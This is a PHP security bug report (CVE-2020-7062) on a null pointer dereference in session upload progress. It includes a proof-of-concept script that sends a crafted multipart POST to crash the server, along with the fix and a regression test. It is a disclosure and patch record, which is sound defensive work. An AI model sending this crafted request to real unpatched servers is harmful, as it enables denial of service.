Sec Bug #79221 Null Pointer Dereference in PHP Session Upload Progress

Submitted: 2020-02-04 12:28 UTC **Modified:** 2020-02-17 08:21 UTC
From: ryat@php.net **Assigned:** stas (profile)
Status: Closed **Package:** Session related
PHP Version: Irrelevant **OS:** *
Private report: No **CVE-ID:** 2020-7062

View | Add Comment | Developer | Edit

[2020-02-04 12:28 UTC] ryat@php.net

Description:
----
session.c:
```
static int php_session_rfc1867_callback(unsigned int event, void *event_data, void **extra) /* {{{ */
{
    ...
        progress = PS(rfc1867_progress);

        switch(event) {
        ...
                case MULTIPART_EVENT_END: {
                        multipart_event_end *data = (multipart_event_end *) event_data;

                        if (Z_TYPE(progress->sid) && progress->key.s) {
                                if (PS(rfc1867_cleanup)) {
                                        php_session_rfc1867_cleanup(progress);
                                } else {
                                        SEPARATE_ARRAY(&progress->data);   <==== &progress->data is uninitialized
```

When the session.upload_progress.cleanup INI option is disabled, PHP will be not able to cleanup the progress information as soon as all POST data has been read. But if the upload fails, PHP will wrongly handles the progress information.

PoC:

/www/web/index.php
```
<?php
//do whatever
?>
```

poc.php
```
<?php

$host = 'localhost';
$port = '8000';
$addr = '/index.php';

$type = 'multipart/form-data; boundary=---------------------------208960602518960129217171727 37';
$data = <<<EOF
-----------------------------208960602518960129217171727 37
Content-Disposition: form-data; name="PHPSESSID"

session-upload
-----------------------------208960602518960129217171727 37
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

ryat
-----------------------------208960602518960129217171727 37
Content-Disposition: form-data; file="file"; ryat="filename"

1
-----------------------------208960602518960129217171727 37--
EOF;
$cookie = 'PHPSESSID=session-upload';

$message = "POST $addr  HTTP/1.1\r\n";
$message .= "Content-Type: $type\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($data)."\r\n";
$message .= "Connection: Close\r\n";
$message .= "Cookie: $cookie\r\n\r\n";
$message .= $data;

$fp = fsockopen($host, $port);
fputs($fp, $message);

$resp = '';
while ($fp && !feof($fp)) {
    $resp .= fread($fp, 1024);
}
var_dump($resp);

?>
```

The issue can be easily triggered when session.upload_progress.cleanup=0, here is a simple proof of concept.
```
$php -S localhost:8000 -t /www/web/ -c php.ini
$php poc.php
```

Fix:
```
+   if (!Z_ISUNDEF(progress->data)) {
```

```
                SEPARATE_ARRAY(&progress->data);
                add_assoc_bool_ex(&progress->data, "done", sizeof("done") - 1, 1);
                Z_LVAL_P(progress->post_bytes_processed) = data->post_bytes_processed;
                php_session_rfc1867_update(progress, 1);
+       }
```

Test file:
```
--TEST--
Null Pointer Dereference in PHP Session Upload Progress
--INI--
error_reporting=0
file_uploads=1
upload_max_filesize=1024
session.save_path=
session.name=PHPSESSID
session.serialize_handler=php
session.use_strict_mode=0
session.use_cookies=1
session.use_only_cookies=0
session.upload_progress.enabled=1
session.upload_progress.cleanup=0
session.upload_progress.prefix=upload_progress_
session.upload_progress.name=PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.freq=1%
session.upload_progress.min_freq=0.000000001
--COOKIE--
PHPSESSID=session-upload
--POST_RAW--
Content-Type: multipart/form-data; boundary=---------------------------208960602518960129217171727 37
-----------------------------208960602518960129217171727 37
Content-Disposition: form-data; name="PHPSESSID"

session-upload
-----------------------------208960602518960129217171727 37
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

ryat
-----------------------------208960602518960129217171727 37
Content-Disposition: form-data; file="file"; ryat="filename"

1
-----------------------------208960602518960129217171727 37--
--FILE--
<?php

session_start();
var_dump($_SESSION);
session_destroy();

--EXPECTF--
array(0) {
}
```

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

All | Comments | Changes | Git/SVN commits | Related reports

[2020-02-16 04:53 UTC] stas@php.net

-Assigned To:
+Assigned To: stas

[2020-02-16 04:53 UTC] stas@php.net

-CVE-ID:
+CVE-ID: 2020-7062

[2020-02-17 08:21 UTC] stas@php.net

Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d76f7c6c636b8240e06a1fa29eebb98ad005008a
Log: Fix bug #79221 - Null Pointer Dereference in PHP Session Upload Progress

[2020-02-17 08:21 UTC] stas@php.net

-Status: Assigned
+Status: Closed

[2020-02-17 08:21 UTC] stas@php.net

Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=409965fe1cfa013abd377a5b567e2d19aac163e8
Log: Fix bug #79221 - Null Pointer Dereference in PHP Session Upload Progress

[2020-02-17 08:21 UTC] stas@php.net

Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=282bfb109ecd07cd76761c098304a45bd214e439
Log: Fix bug #79221 - Null Pointer Dereference in PHP Session Upload Progress

[2020-02-17 08:21 UTC] stas@php.net

Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=90ae1818d54b3017ed114d45e83924eebafdb7d7
Log: Fix bug #79221 - Null Pointer Dereference in PHP Session Upload Progress

[2020-02-17 09:54 UTC] dmitry@php.net

Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=282bfb109ecd07cd76761c098304a45bd214e439
Log: Fix bug #79221 - Null Pointer Dereference in PHP Session Upload Progress

[2020-02-17 18:11 UTC] cmb@php.net

Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=d76f7c6c636b8240e06a1fa29eebb98ad005008a
Log: Fix bug #79221 - Null Pointer Dereference in PHP Session Upload Progress

[2020-02-17 18:11 UTC] cmb@php.net

Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=409965fe1cfa013abd377a5b567e2d19aac163e8
Log: Fix bug #79221 - Null Pointer Dereference in PHP Session Upload Progress

[2020-02-18 08:14 UTC] cmb@php.net

Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=08b47a3d0fcd16a4a8f351d5ee60bfa64e71b39f
Log: Fix bug #79221 - Null Pointer Dereference in PHP Session Upload Progress

[2020-02-18 10:16 UTC] derick@php.net

Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e73d8e2627e6e0aa91441ffa745661c6664906f1
Log: Fix bug #79221 - Null Pointer Dereference in PHP Session Upload Progress